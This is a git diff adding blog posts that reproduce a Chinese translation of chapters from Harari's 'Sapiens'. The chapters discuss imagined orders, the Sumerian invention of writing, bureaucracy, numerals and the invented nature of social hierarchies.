+然而，像是中世纪的贵族就没有个人主义这一套。他们认为，个人的价值是由社会阶级、由他人的看法所决定。在这种情形下，“被别人嘲笑”就成了莫大的侮辱。而当时的贵族也会告诉孩子，要不惜一切代价来保护名声。同样，中世纪想象中的价值体系也反映在当时实际的城堡建筑上。一座城堡几乎不可能有儿童房（就算是成人也很少有个人的房间）。例如，如果是个中世纪男爵的儿子，城堡里的二楼不会有他自己的房间，他如果崇拜狮心王理查或阿瑟王，也没办法把他们的海报贴在自己的墙壁上，当然什么可以上锁的门就更别谈了。他睡觉的地方跟其他许多年轻人一样，就是在宽敞的大厅里。所以可以说他总是活在众人的目光下，总是得注意别人的观感和意见。如果在这种环境下长大，自然就会觉得：个人的真正价值是由他的社会阶级以及他人对他的看法而定。40 +2. 想象建构的秩序塑造了我们的欲望。 +多数人很难接受自己的生活秩序只是虚构的想象，但事实是我们从出生就已经置身于这种想象之中，而且连我们的欲望也深受其影响。于是，个人欲望也就成为虚构秩序最强大的守护者。 +例如现代西方人最重视的那些欲望，都是建构在已经为时数百年的虚构故事上，包括浪漫主义、民族主义、资本主义以及人文主义。我们常常告诉朋友要“随心所欲”，但这里的“心”就像是个两面间谍，听从的常常是外面那些主流的虚构故事。于是“随心所欲”不过也只是结合了19世纪浪漫主义与20世纪的消费主义，再植入我们的脑海罢了。以可口可乐公司为例，旗下雪碧的广告词就是：“相信你的直觉，顺从你的渴望。” +甚至那些人们以为深深藏于自己内心的渴望，通常也是受了想象秩序的影响。例如，许多人都很想到国外度假。然而，这件事并没有什么自然或是明显的道理。像是黑猩猩的首领可不会想要运用权力让自己到隔壁黑猩猩的领土上度个假。而像古埃及的法老王，也是把所有财富拿来建造金字塔，把自己的遗体做成木乃伊，而不会有人想要去巴比伦瞎拼或是去腓尼基滑雪。现代人之所以要花费大把银子到国外度假，正是因为他们真正相信了浪漫的消费主义神话。 +浪漫主义告诉我们，为了要尽量发挥潜力，就必须尽量累积不同的经验。必须体会不同的情感，尝试不同的关系，品尝不同的美食，还必须学会欣赏不同风格的音乐。而其中最好的一种办法，就是摆脱日常生活及工作，远离熟悉的环境，前往遥远的国度，好亲身“体验”不同的文化、气味、美食和规范。我们总会不断听到浪漫主义的神话，告诉我们“那次的经验让我眼界大开，从此整个生活都不一样了”。 +消费主义告诉我们，想要快乐，就该去买更多的产品、更多的服务。如果觉得少了什么，或是有什么不够舒服的地方，那很可能是该买些什么商品（新车、新衣服、有机食品），或是买点什么服务（清洁工、心理咨询、瑜伽课）。就连每一则电视广告，也都是个小小的虚构故事，告诉你买了什么产品或服务可以让日子更好。 +鼓励多元多样的浪漫主义又与消费主义一拍即合，两者携手前行，催生了贩卖各种“体验”的市场，进而推动现代旅游产业发展。旅游业真正卖的可不是机票和饭店房间，而是旅游中的经验。所以这样说来，巴黎的重点不是城市，印度的重点也不是国家，而是它能提供的经验；之所以要买经验，是因为据说这样就能拓展我们的视野、发挥我们的潜力，并且让我们更快乐。也因此，如果有个百万富翁和太太吵架，和好的方式很可能就是带她去巴黎旅游旅游。这种做法让我们看到的并不是某种个人的欲望，而是他深深坚信着浪漫的消费主义。如果是古埃及有钱人和太太吵架，带着她去巴比伦度个假绝对不会是选项，反而可能是为她建个她梦寐以求的华丽陵墓，那才会让她心花朵朵开。 +一如古埃及精英分子，现在大多数人一生汲汲营营，也都是想盖起某种金字塔，只不过这些金字塔在不同文化里会有不同的名字、形体和规模罢了。举例来说，可能是一栋近郊的独栋透天别墅，有游泳池和大庭院，也可能是一个闪闪发光的高楼公寓，有着令人屏息的美景。但很少人会真的去问，究竟为什么我们会开始想建这些金字塔？ +3. 想象建构的秩序存在于人和人之间思想的连接。 +就算假设借着某些超自然的力量，我让自己的欲望跳脱出了这个由想象建构的秩序，但我还是只有自己一个人。想要改变这个秩序，我还得说服数百万的陌生人都和我合作才行。原因就在于：想象建构的秩序并非个人主观的想象，而是存在于主体之间（inter-subjective），存在于千千万万人共同的想象之中。 +要了解这一点，我们必须解释一下“客观”、“主观”和“主体间”的不同。 +“客观”事物的存在，不受人类意识及信念影响。例如“放射线”，就不是一个虚构的故事。早在人类发现放射线之前，放射线就已经存在；而且就算有人不相信有放射线存在，还是会受到它的伤害。像是发现放射线的居里夫人，就没想过多年研究放射性物质会伤害她的身体。虽然她不相信放射线会对她有害，最后她还是死于因为过度暴露于放射性物质而造成的再生障碍性贫血。 +“主观”事物的存在，靠的是某个单一个人的意识和信念。如果这个人改变了自己的信念，这项主观事物也就不复存在或是跟着改变。像是许多小孩都会想象自己有个只有自己看得到、听得着的朋友。这个想象中的朋友只存在于孩子的主观意识中，等孩子长大、不再相信，这个朋友也就烟消云散。 +“主体间”事物的存在，靠的是许多个人主观意识之间的连接网络。就算有某个人改变了想法，甚至过世，对这项事物的影响并不大。但如果是这个网络里面的大多数都死亡或是改变了想法，这种“主体间”的事物就会发生改变或是消失。之所以会有事物存在于主体之间，其目的并不是想存心骗人，也不是只想打哈哈敷衍。虽然它们不像放射线会直接造成实质影响，但对世界的影响仍然不容小觑。历史上有许多最重要的驱动因素，都是这种存在于主体之间的概念想法：法律、金钱、神、国家。 +让我们再次以标致汽车作为例子。这家公司并不是标致执行长自己心中想象出来的朋友，而是存在于数百万人心中的共同想象。这位执行长之所以能相信公司存在，是因为董事会也这么相信，公司请的律师也这么相信，办公室里的同人也这么相信，银行人员也这么相信，证券交易所的业务员也这么相信，还有从法国到澳大利亚的汽车经销商，大家都是这么相信的。如果某一天，执行长自己不相信标致汽车存在了，他很快就会被送到最近的精神病院，还会有人来他的位子接班。 +同样，不论是美元、人权还是美国，都是存在于数十亿人的共同想象之中，任何一个独立的个体并无力撼动这些概念。就算我自己下定决心不再相信美元、人权和美国，也无法造成任何改变。正因为这些由想象建构的秩序是存在于主体之间，想要改变这些秩序，就得同时改变数十亿人的想法，这绝非易事。想要达到这种规模的改变，必然需要有复杂的组织在背后协助，可能是政党，可能是思潮运动，也可能是某个宗教教派。然而，为了建立这种复杂的组织，人们就得说服许多陌生人共同合作，而这又得靠着他们都相信另一些共同的虚构故事才行得通。由此可见，为了改变现有由想象建构出的秩序，就得先用想象建构出另一套秩序才行。 +举例来说，想解决掉标致汽车，我们就需要想象出更强大的东西，像是法国的法律制度。而想解决掉法国的法律制度，我们又需要想象出更强大的东西，像是法国国家的力量。而如果想解决的是法国，就还得再想象出更强大的才行。 +身为人类，我们不可能脱离想象所建构出的秩序。每一次我们以为自己打破了监狱的高墙、迈向自由的前方，其实只是到了另一间更大的监狱，把活动范围稍稍加以扩大。 diff --git a/_posts/2017-01-06-199-sapiens-cp07.md b/_posts/2017-01-06-199-sapiens-cp07.md new file mode 100644 index 0000000..def758f --- /dev/null +++ b/_posts/2017-01-06-199-sapiens-cp07.md @@ -0,0 +1,68 @@ +--- +layout: post +title: 第七章记忆过载 +pid: 199 +tags: [人类简史：从动物到上帝] +--- +第七章 +记忆过载 +演化并没有让人有踢足球赛的能力。确实，演化让人有脚能踢球，有肘能犯规，还有嘴能骂人，但这些加起来，顶多就是让人能自己玩玩球而已。想在某个下午和球场上的陌生人一起来踢场足球赛，不只得和10个可能从未见过面的人合作当队友，还得知道对方11个人也会遵守一样的规则。有些时候，其他动物也会和陌生同类合作，进行仿若仪式的侵略举动，但通常都是出于其本能。例如小狗有时候会玩得滚来滚去、咬来咬去，但那是深植于它们基因里的设计。只不过，我们人类的孩子可没什么玩足球的基因设计。我们之所以能和完全陌生的人踢球赛，是因为大家都学过同样一套的足球规则。这些规则全部都是想象出来的，不过只要大家都同意，还是能玩得十分开心。 + +这种情况同样适用于像是王国、教会或贸易网络等较大的规模，只有一项重要区别：复杂的程度不同。相对来说，足球的规则简单明了，很像是过去采集时代各个小部落或小村庄之间要合作时的共识。所有球员都可以轻轻松松把规则全部记在脑子里，同时大脑还有余裕记得一些歌曲、影像，甚至是待会儿要买什么。只不过，如果不是像这样只有22个人要合作，而是有几千甚至几百万人要合作，需要储存及处理的信息量就会极度庞大，绝不是任何单一人脑所能记忆处理的。 +某些其他物种（像是蚂蚁和蜜蜂）也能形成大型社会，而且稳定又灵活。但这是因为它们的基因组里就已经储存了合作所需的大部分信息。蜜蜂的未受精卵会发育成雄蜂，受精卵则发育成雌蜂，但雌蜂幼虫依据被喂食的食物不同，长大后可能成为蜂后，也可能成为一般的工蜂。在它们的DNA里，已经为两种不同角色都设定好必要的行为模式，前者让它能母仪天下，后者则让它尽心尽力、认真工作。蜂巢里的社会结构非常复杂，有许多不同种类的工蜂，有的负责觅食，有的负责照护，有的负责清洁等等。但到目前为止，我们可没人见过有蜜蜂当律师负责打蜜蜂官司。之所以蜜蜂不需要律师，是因为不会有蜜蜂打算违反什么蜂巢宪法，认为清洁蜂不该有生命权、自由权和追求幸福的权利。 +但人类可就不同了，这种事总是不断发生。因为智人的社会秩序是通过想象建构，维持秩序所需的关键信息无法单纯靠DNA复制就传给后代，需要通过各种努力，才能维持种种法律、习俗、程序、礼仪，否则社会秩序很快就会崩溃。举例来说，汉谟拉比国王将人分成上等人、平民和奴隶，但这件事并不存在于人类的基因组里，并不是一个自然的区分方式。如果巴比伦人无法让大家的心里都有这项“真理”，整个社会就会停止运作。同样，就算是汉谟拉比本人，他后代的DNA里也没记载着上等人如果杀了个平民女性就该付30舍客勒的银子。汉谟拉比必须特地教导他的儿子，告诉他帝国的法律是如何如何，以后再由儿子来教孙子，以此代代相传。 +一个帝国要运作，会产生大量的信息。除了法律之外，帝国还必须记录各种交易和税收、军用物资和商品的库存量，还有各种节庆及打胜仗的日期。在先前的几百万年间，人类只有一个地方可以记录信息：他们的大脑。但很遗憾，对于整个帝国这么大的数据量来说，人类的大脑并不是个很好的储存设备，主要原因有三。 +第一，大脑的容量有限。确实有些人记忆力惊人，而且古代也有人专门研究记忆术，整个省的地形地势了然于胸，整部国家法典倒背如流。尽管如此，还是有连记忆大师也无法超越的限制。像是律师就算能把整个马萨诸塞州的法条都背下来，也不可能把从17世纪塞勒姆（Salem）女巫审判以降所有诉讼细节全记得一清二楚。 +第二，人类总难免一死，而大脑也随之死亡。所以，任何储存在大脑里的信息多半在一个世纪内就会消失。当然，我们可以把记忆从一个大脑传达到另一个大脑里，但传递几次之后，信息总是会开始乱成一团或是遭到遗忘。 +第三，也是最重要的一点，在于人类的大脑经过演化，只习惯储存和处理特定类型的信息。为了生存，远古的狩猎采集者必须能够记住数千种动植物的形状、特性和行为模式。像是他们必须记住，一朵皱巴巴的黄色菇类，如果是在秋天长在榆树下，就很有可能有毒，但如果是在冬天长在橡树下，却是种很好的胃药。此外，狩猎采集者也得记住部落里几十个人彼此的意见和关系。例如假设露西需要部落里有人帮她挡住约翰，叫他别来骚扰她，就很需要记得像是约翰上周与玛丽吵了一架，所以现在找玛丽准没错。因此，演化压力让人类的大脑善于储存大量关于动植物、地形和社会的信息。 +然而在农业革命之后，社会开始变得格外复杂，另一种全新的信息类型也变得至关重要：数字。采集者以前从来不需要处理大量的数字。例如采集者不用记得森林里每棵树上有几个果子；也因此，人类的大脑不习惯储存和处理数字。然而如果要管理一个大国家，数字可以说是一大关键。国家光是立法、讲些关于守护神的故事还不够，像是收税这种事就万万不可少。而为了向数十万国民收税，国家就必须先收集关于国民收入及财产的数据，关于付款的数据，关于欠款、债务和罚款的数据，关于折扣及豁免的数据。这些数字总共会有几百万的数据位需要储存和处理。国家要是无法应付，就永远不知道手中有什么资源，未来又能利用什么资源。但对大多数人来说，讲到要记忆、回忆、处理这些数字，不是觉得脑力超载，就是觉得昏昏欲睡。 +这种人脑的限制大大局限了人类合作的规模和程度。如果某个社会的人数和物品的数量超过某个临界值，就必定需要储存和处理大量的数字数据。但人脑又力有未逮，于是系统也就崩溃。正因如此，就算在农业革命后的数千年间，人类的社会网络还是相对规模较小，也相对简单。 +最早克服这项问题的是远古美索不达米亚南部的苏美尔人。当地艳阳高照、平原肥沃，发展出发达的农业、繁荣的城镇。随着居民人数增长，要协调各项事务所需的信息也不断膨胀。在公元前3500年~公元前3000年之间，一些不知名的苏美尔天才发明了一套系统，可以在人脑之外储存和处理信息，专为处理大量数字数据所量身打造。从此，苏美尔人的社会秩序不再受限于人脑的处理能力，而开始能走向城市、王国和帝国。苏美尔人所发明的这套数字处理系统，正是“书写文字”。 +由库辛签核 +文字是采用实体符号来储存信息的方式。苏美尔文字系统结合了两种类型的符号，刻印在黏土泥板上。第一种符号代表的是数字，分别有符号可以表达1、10、60、600、3600，以及36000。（苏美尔人的数字系统分别以6和10作为基数。即使到现在，人类生活还是处处可见以6为基数，像是一个圆有360度，一天有24小时。）另一类型的符号则代表人、动物、商品、领土、日期等等。结合这两种符号，苏美尔人能够记下的数据量就能够远胜于任何大脑的容量或任何DNA所含的基因码。 +在早期，文字只用来记录事实和数字。就算苏美尔人当时真的有过小说，也从来不曾刻印到泥板上。毕竟，当时要写下文字不仅耗时，而且能阅读的群众又太少，所以除了必要的记录之外，实在没有书写的必要。如果我们想知道人类的祖先在5000年前写下了什么智慧的话语，很可能就会非常失望。举例来说，目前找到人类祖先最早留给我们的信息是“29086单位大麦37个月库辛”。这句话最有可能的解读是：“在37个月间，总共收到29086单位的大麦。由库辛签核。”很遗憾，人类史上的第一个文本不但不是哲学巧思，不是诗歌，不是传奇，不是法律，甚至也不是对王室歌功颂德，而是无聊至极的财经文件，记录各种税务、债务以及财产的所有权。 +图13 来自古城乌鲁克（Uruk）大约公元前3400~公元前3000年的泥板，记载着当时的行政文书。这块泥板清楚记载着在37个月内收到了29086单位的大麦（大约3800蒲式耳），并由名叫“库辛”的人签核。这里的“库辛”可能是当时的某个职称，又或是某个人的名字。如果库辛真的是个名字，他可能就是史上第一个我们知道名字的人！所有先前我们使用的名称，像是“尼安德特人”、“纳图芬人”、“雪维洞穴”、“哥贝克力石阵”，都只是现代人为它们取的名字。像是哥贝克力石阵，我们其实并不知道当时建造它的人怎么称呼这个地方。而在文字出现之后，我们终于能够再通过当时人的耳朵，“听到”一些历史。很有可能，当时库辛的邻居就会朝着他大叫“库辛！”这个声音。这一切说明，史上第一个记下的名称或名字，是属于一个会计师，而不是什么先知、诗人，或是伟大的征服者。41 +除此之外，远古时代只有另一个其他类型的文本幸存，而且甚至比那块泥板更无趣：就只是一堆单词，由当时的文士一再重复抄写，作为练习。而且，就算当时的学生已经抄账单抄到深感无聊，想要自己写首诗，客观条件也并不允许。最早的苏美尔文字只能部分表意（partial script），而无法完整表意（full script）。所谓完整表意，指的是这套符号能够大致完整表达出口头语言；这样一来，就能表达一切人类口传的内容，包括诗歌。但另一方面，所谓部分表意，就是指这套系统只能呈现特定种类的信息，局限于特定领域的活动。举例来说，拉丁文、古埃及象形文字和盲人点字都能够完整表意，不论是税条、史书、商业法律，或是情诗和历史著作，全部难不倒它。相较之下，最早的苏美尔文字就像是现代的数学符号和音乐符号，只能部分表意。例如数学符号虽然能用来计算，但要写情诗就做不到了。 +虽然部分表意的文字系统无法完整传达人类的口语，但也能表达一些不在口语范围内的意义。像是苏美尔文字、数学符号，虽然不能拿来写诗，但讲到记账收税可是效率一流。 +对苏美尔人来说，苏美尔文字不能拿来写诗似乎并不是什么大问题。毕竟他们发明文字的目的不在于复制口语，而是想要完成一些口语没做到的事。像是在哥伦布抵达美洲之前，安第斯山脉就有一些文化，从来就只有部分表意的文字，他们并不会觉得这样不够用，也不觉得有必要发展成完整表意的文字。安第斯文化的文字和苏美尔文字大有不同，不同的程度大到有很多人甚至不认为这是一种文字。这些文字不是写在泥板或纸张上，而是在各种颜色的绳子上打结来表示，称为“结绳语”（quipu）。每个结绳语的文本都有许多不同颜色的绳子，材质可能是羊毛，也可能是棉花。在每根绳子的各种位置上绑着几个结。光是一个结绳语文本，就可能有数百条绳子、几千个结。通过这些不同颜色、不同绳子、不同打法的结，安第斯文化就能记录大量的数字数据，像是税收或是财产所有的数据。42 +图14 12世纪的安第斯文化结绳语。 +而数百甚至数千年来，对于当地城市、王国和帝国的商业来说，结绳语都不可或缺。43结绳语在印加帝国时间达到鼎盛，当时印加帝国人口约有10万到12万，疆域包括今日的秘鲁、厄瓜多尔和玻利维亚，以及部分的智利、阿根廷和哥伦比亚。这样庞大的帝国需要复杂的行政系统，也就需要储存和处理大量数据，要是没有结绳语，绝对是不可能的任务。 +事实上，正因为结绳语有效又准确，就算在西班牙人占领南美之后，还是用结绳语来管理他们建立的新帝国。但问题在于，西班牙人并不知道该如何记录和阅读结绳语，一切有赖于当地专业人士协助。而这些新的统治者便意识到，这让当地的结绳语专家能够轻易欺瞒误导这些统治者，情势大大不利。所以等到西班牙的统治势力站稳扎根，就全面废弃了结绳语，所有记录改用拉丁文和数字。而在西班牙占领过后，结绳语文本绝大多数均已逸失，即使幸存，也因为能阅读的人才凋零，而成了无人能懂的文本。 +官僚制度的奇迹 +终于，美索不达米亚人开始希望除了无聊的数字数据外，还能写些别的东西。在公元前3000年~公元前2500年间，苏美尔文字系统逐渐加入越来越多的符号，成为能够完整表意的文字，今天它们被称为楔形文字。到了公元前2500年，国王已经能用楔形文字颁布法令，祭司用它来记录神谕，至于一般平民大众则是用来写写信。差不多同一时间，埃及也发展出另一种能够完整表意的文字——古埃及象形文字。另外，中国在大约公元前1200年、中美洲各地在公元前1000年至公元前500年间，也都发展出了完整表意的文字。 +从以上这些最初的中心，完整表意的文字开始向四方远扬，发展出各种形式以及新的用途，让人开始用文字来写诗、编史、耍浪漫、演戏剧、提预言，甚至是记食谱。然而，文字最重要的任务仍然是记录大量的数字数据，而这也是部分表意文字的特别强项。无论是希伯来的《圣经》、希腊的史诗《伊利亚特》、印度的长叙事诗《摩诃婆罗多》，还是佛教的《大藏经》，一开始都是口述作品。这些作品世世代代靠的都是口传，就算没有发明文字，也还是会继续再传下去。但讲到税务登记和复杂的官僚制度，就要等到部分表意的文字出现后才应运而生，而且就算到了今天还是像连体婴儿一样密不可分；种种计算机数据库和电子表格，藏着不为外界所知的秘密。 +随着越来越多的事情通过文字记载，特别是行政档案数据变得无比庞杂，也就出现了新的问题。记在人脑里的信息找起来非常方便。以我自己为例，虽然我的大脑里藏着几千兆位的数据，但我可以几乎是立刻想起意大利首都的名字，再想起我在2001年“9·11”事件那天做了什么，还能马上想出从我家到耶路撒冷希伯来大学的路线。至今，大脑为何能做到这样仍然是一个谜，但我们都知道它的检索系统效率惊人。（只不过，找钥匙这件事可能是个例外。） +如果是结绳语的绳子或是写着文字的泥板，又该怎么检索数据？如果只有个10片甚至100片的泥板，都还不是个问题。只不过，若是与汉谟拉比同时代马里（Mari）城邦的国王齐默里宁（Zimrilim），已经累积了数千片泥板，该怎么办？ +想象一下在公元前1776年。两个马里人在争论一片麦田的所有权。雅各布言之凿凿，说他早在30年前就向以扫买了这片田。但以扫不同意，说他是把这片地租给雅各布，租期30年，现在租期到了，他要收回土地了。双方火气上升，开始互相叫嚣推打，但他们忽然想到，可以到王室的档案库去查查，那里有全王国房地产相关的记录和数据。但等抵达了档案库，他们就被各部门的人像皮球一样踢来踢去，叫他们先坐下来喝杯青草茶休息等等，或是明天请早些再来。好不容易才终于有个承办人员一边碎碎念一边带着他们去找相关的泥板。承办员打开一扇门，来到一个巨大的房间，从地板到天花板堆积着成千上万片的泥板。也难怪承办人员心情糟，他该怎样才能找到记着30年前麦田合约的那块泥板？而就算找到了，又怎么能知道这块30年前的泥板就是关于这片麦田的最新合约？另外，如果找不到这块泥板，难道就能说以扫从未出售或出租这片麦田吗？会不会只是泥板搞丢了，或是某次下雨渗水把它给溶了？ +显然，光是把记录压印在泥板上，并没办法让数据处理有效率、准确和方便。我们还需要有组织工具（像是编目）、快速的复制工具（像是复印机）、快速准确的检索工具（像是计算机运算），而且还得有够聪明（最好心情还能好一些）的负责人员，能够了解这些工具的使用方法。 +事实证明，发明这些工具要比发明书写文字难上太多了。许多时地都相差甚远的文化，都各自发展出了自己的文字系统。每隔几年，总有考古学家又发现了其他某种被遗忘的文字，甚至有些还可能比苏美尔泥板更久远。但这些文字多半就只是些新鲜但不实用的发明，原因就在于这些文化没能找出方法来有效编目和检索数据。而苏美尔、古埃及、古中国和印加帝国的特殊之处，就在于这些文化都发展出了良好的技术，能够将文字记录予以归档、编目和检索，另外还投入资本培养人才来负责抄写、数据管理和会计事务。 +考古学者在美索不达米亚发现了一份当时的书写作业，让我们得以一窥大约4000年前的学生生活： +我走进去坐下，老师来检查我的泥板。 +他说：“你漏了一些东西！” +然后他就用棍子打我。 +另一个管事的人说：“未经我允许，你竟敢讲话？” +然后他就用棍子打我。 +管秩序的人说：“未经我允许，你竟敢站起来？” +然后他就用棍子打我。 +看门的说：“未经我允许，你竟敢出去？” +然后他就用棍子打我。 +管啤酒壶的说：“未经我允许，你竟敢倒啤酒？” +然后他就用棍子打我。 +苏美尔语的老师说：“你竟敢说阿卡德语？”[4] +然后他就用棍子打我。 +我的老师说：“你的字很丑！” +然后他就用棍子打我。44 +古代的抄写员不但得会读会写，还得知道如何查目录、辞典、日历、表格和图表。他们得要学习并内化种种编目、检索和处理信息的技巧，而且这些都和大脑原本内建的机制非常不同。在大脑里，所有数据都自由地互相联结。像是我在和另一半一起去办新家抵押贷款的时候，就想到我们一起住的第一个地方，这又让我想到去新奥尔良度的蜜月，再想到鳄鱼，再想到西方的恶龙，再想到歌剧《尼布龙根的指环》；结果我不知不觉就哼起了歌剧里面齐格飞的主旋律，把银行职员搞得一头雾水。对官僚制度来说，各种数据必须清楚分开。一个抽屉放住宅抵押贷款，一个放结婚证书，第三个放税务登记材料，第四个放诉讼案件卷宗。否则哪知道该到哪去找？而如果有某件事情同时属于很多个抽屉（例如华格纳的音乐剧究竟该算是“音乐”还是“戏剧”？还是该干脆另列一类？），可就头痛了。所以，这些制度总是在不停新增、删除和重新分配这些抽屉。 +为了要让工作顺利，操作这种抽屉系统的人必须接受训练，思考的方式不能像一般人，而得有专业文书和会计的样子。从古至今，我们都知道文书和会计的想法就是有点没人性，像个文件柜一样。但这不是他们的错。如果他们不这样想，他们的抽屉就会一片混乱，也就无法为政府、公司或组织提供所需的服务。而这也正是文字对人类历史所造成最重要的影响：它逐渐改变了人类思维和看待这个世界的方式。过去的自由连接、整体思考，已经转变为分割思考、官僚制度。 +数字的语言 +几个世纪过去，官僚制度式的数据处理方式与人类自然思考方式的差异越来越大，重要性也越来越高。还不到9世纪的时候，发明了另一种部分表意的文字，让储存和处理数字数据的效率一日千里，成为重要的里程碑。这种文字是由10个符号组成，代表从0到9的数字。很容易让人搞错的一点在于，虽然这些符号现在被称为“阿拉伯数字”，但其实是印度人发明的。而且现代阿拉伯人自己还用了一组和西方颇不相同的数字符号系统，就更叫人一头雾水。之所以现在我们会称“阿拉伯数字”，是因为阿拉伯人攻打印度时发现了这套实用的系统，再加以改良传到中东，进而传入欧洲。等到有几个其他符号加入了阿拉伯数字系统（例如加号、减号、乘号），就成了现代数学符号的基础。 +虽然这整套系统仍然只是种部分表意的文字符号，但这已经成为全世界的一大重要语言。几乎所有的国家、企业、组织和机构，不管讲的是阿拉伯语、印度语、英语还是挪威语，都必须使用数学符号来记录及处理数据。只要能将信息转成数学符号，储存、传播和处理的速度和效率就能快到令人叹服。 +因此，如果哪个人想打动政府、组织和企业，就必须学会“用数字说话”。而专家也费尽心力，甚至像是“贫穷”、“幸福”和“诚实”这些概念，都能翻译成一个又一个的数字，成了“贫穷线”、“主观幸福感程度”、“信用等级”。而像是物理和工程方面，几乎整个知识领域都快要和人类的口语语言脱节，而由数学符号独挑大梁。 + + +这是根据相对论所推导出来的公式，能够计算质量重力加速度。大多数一般人只要见到这个公式一眼就只能瞠目结舌，像是鹿在路上被车灯照到一样。这种反应其实很自然，并不代表这个人天生愚鲁或是缺乏好奇。除了极少数例外，人类大脑就是没有思考像是相对论或量子力学这些概念的能力。物理学家之所以能这样思考，是因为他们抛下了传统的人类思维方式，从头学习如何在外部数据处理系统的协助下思考。他们的思考过程有很重要的一部分并不是在他们的脑子里，而是在计算机里或是教室黑板上。 +近来，数学符号已经带来另一种更革命性的文字系统，计算机所使用的二进制程序语言，全部只有两个符号：0与1。就像是现在我用键盘打到计算机上的所有文字，也都是由0和1的组合所呈现。 +* * * +文字本来应该是人类意识的仆人，但现在正在反仆为主。计算机并无法理解智人如何说话、感觉和编织梦想，所以我们现在反而是用一种计算机能够理解的数字语言来教智人如何说话、感觉和编织梦想。 +而且这还没完。人工智能的领域还希望能够完全在计算机二进制的程序语言上创造一种新的智能。像是科幻电影《黑客任务》或《魔鬼终结者》，就都预测着总有一天这些二进制语言会抛下人性给它们的枷锁，而人类想要反扑的时候，它们就会试图消灭人类。 +[4]　就算当时大家都讲阿卡德语，但苏美尔语仍然是官方语言，也是各项记录所用的语言。因此立志成为抄写员的人就得讲苏美尔语。 diff --git a/_posts/2017-01-06-200-sapiens-cp08.md b/_posts/2017-01-06-200-sapiens-cp08.md new file mode 100644 index 0000000..a545a38 --- /dev/null +++ b/_posts/2017-01-06-200-sapiens-cp08.md @@ -0,0 +1,108 @@ +--- +layout: post +title: 第八章历史从无正义 +pid: 200 +tags: [人类简史：从动物到上帝] +--- +第八章 +历史从无正义 +农业革命后几千年的历史，可以总结为一个问题：如果人类的基因里并没有大规模合作的生物本能，所有的合作网络究竟如何维系？简单的讲法，是人类创造出了由想象建构的秩序、发明了文字，以这两者补足我们基因中的不足。 +但对许多人来说，这些合作网络究竟是好是坏实在难说。网络背后那些想象的秩序既不中立也不公平，总把人分成一些其实并不存在的分类，并且排出上下等级。上等人享有各种权力和特权，而下等人有的只有歧视和压迫。以《汉谟拉比法典》为例，这部法典就将社会分成上等人、平民和奴隶。上等人养尊处优，享尽一切好处。平民只能捡捡上等人剩下的东西。而奴隶如果还敢抱怨，就等着吃苦头了。 +就算是1776年的美国《独立宣言》，尽管把人人生而平等喊得震天响，其实还是把人分成了上下等级。《独立宣言》区分了男女，男性从中得利，但女性却被剥夺了同样的权利。《独立宣言》也区分了白人、黑人和印第安人，让白人享有自由民主，但却认为黑人和印第安人是比较劣等的人类，不该享有平等的权利。当时许多蓄奴的人也在《独立宣言》上签了名，他们签署后并未释放奴隶，但一点儿也不觉得自己言行不一。在他们看来，黑鬼哪有什么“人”权？ +美国这套秩序还区分了贫富之间的阶级。当时，美国人对于有钱爸妈把遗产和家族企业留给子女多半并不觉得有什么问题。在他们看来，所谓“平等”指的只有“法律面前人人平等”这件事，而与失业救济、普及教育或健康保险无关。至于当时的“自由”，也与今天截然不同。在1776年，“自由”并不代表着权利遭侵夺的人能够取得并行使权利（至于黑人、印第安人或女性更是绝无可能），而只是代表着除非特殊状况，否则国家不能没收或处分公民的私有财产。这么说来，美国这套秩序所奉行的就是“财富的阶级”，有些人会认为这就是神的旨意，也有些人会认为这是自然不变的规律。这些人会说，勤劳致富，懒惰则困穷，这是自然的赏罚原则。 +然而，以上所有的区别，不管是自由人／奴隶、白人／黑人、富人／穷人，都只是虚构的想象所建构出来的。（后面会另外来谈男女的阶级问题。）然而历史的铁则告诉我们，每一种由想象建构出来的秩序，都绝不会承认自己出于想象和虚构，而会大谈自己是自然、必然的结果。举例来说，许多赞成奴隶制度的人就认为，这是自然现象，并不是人类所发明出来的一种制度。汉谟拉比认为，为人或为奴是神所决定的。亚里士多德也认为，奴隶有“奴隶的本质”，而自由人有“自由的本质”，他们的社会地位不同，只是本质的展现。 +而且，如果你问一个白人至上主义者为什么赞成种族阶级制度，他几乎一定能跟你滔滔不绝地来场伪科学讲座，告诉你不同种族之间本来就有生物学上的差异，比如说，白人的血液或基因就有什么特殊之处，让他们天生更聪明、更有道德感也更勤奋。另外，如果你问一个资本主义的忠实拥护者为什么赞成财富阶级的制度，他也很可能告诉你，这正是客观能力差异带来的必然结果。这些人认为，有钱人之所以有钱，是因为他们能力更强，工作更认真。这样一来，有钱人该有更好的医疗保健、更好的教育、更好的营养，也是天经地义的事。这每分每毫，都是他们应得的。 +至于赞成种姓制度的印度教徒则相信，是宇宙的力量划分了种姓的阶级。根据著名的婆罗门教神话，诸神是以原人普罗沙（Purusa）的身体创造这个世界：他的眼睛化成太阳，他的大脑化成月亮，他的口化成了婆罗门（祭司），他的手化成了刹帝力（贵族、武士），他的大腿化成了吠舍（农民和商人等平民），而他的小腿则化成了首陀罗（仆人）。如果相信这种说法，那么婆罗门和首陀罗的社会地位差异就再自然不过，就像太阳和月亮本来就该有所不同。45而中国古代的《风俗通》也记载，女娲开天辟地的时候要造人，一开始用黄土仔细捏，但后来没有时间余力，便用绳子泡在泥里再拉起来，飞起的泥点也化成一个一个的人，于是“富贵者，黄土人；贫贱者，引绳人也”。46 +然而就我们目前所知，这些阶级区别不过全都是人类想象的产品罢了。不管是婆罗门还是首陀罗，都不是诸神从某个原人的不同身体器官所创造出来的。这两个种姓阶级的区别，不过就是大约3000年前在印度北部由人类自己发明创造的一套法律和规范。而亚里士多德的讲法也有问题，奴隶和自由人之间并没有已知的生物学差异。一切都是因为人类的法律和规范，才让某些人变成奴隶，某些人变成主人。至于黑人和白人之间，虽然有例如皮肤颜色和毛发类型之类的客观生物学差异，但没有证据显示这些差异会影响到智力或道德观。 +大多数人都会认为只有自己社会的阶级是自然的，而其他社会的阶级分法都实在是虚假又荒谬。现代的西方教育对种族阶级制度嗤之以鼻，如果现在有法律禁止黑人住在白人小区、进入白人学校就读或到白人医院就医，一定会引发轩然大波。但如果说的是贫富阶级，有钱人住在独立、豪华的住宅区，就读专为有钱人提供的私立名校，能进到专为有钱人提供的高档医疗机构，这一点对于许多美国和欧洲人来说，却似乎再天经地义不过。但事实已经证明，大多数有钱人之所以有钱，只是因为他出生在有钱的家庭，而大多数穷人一辈子没钱，也就只是因为他出生在贫穷的家庭而已。 +* * * 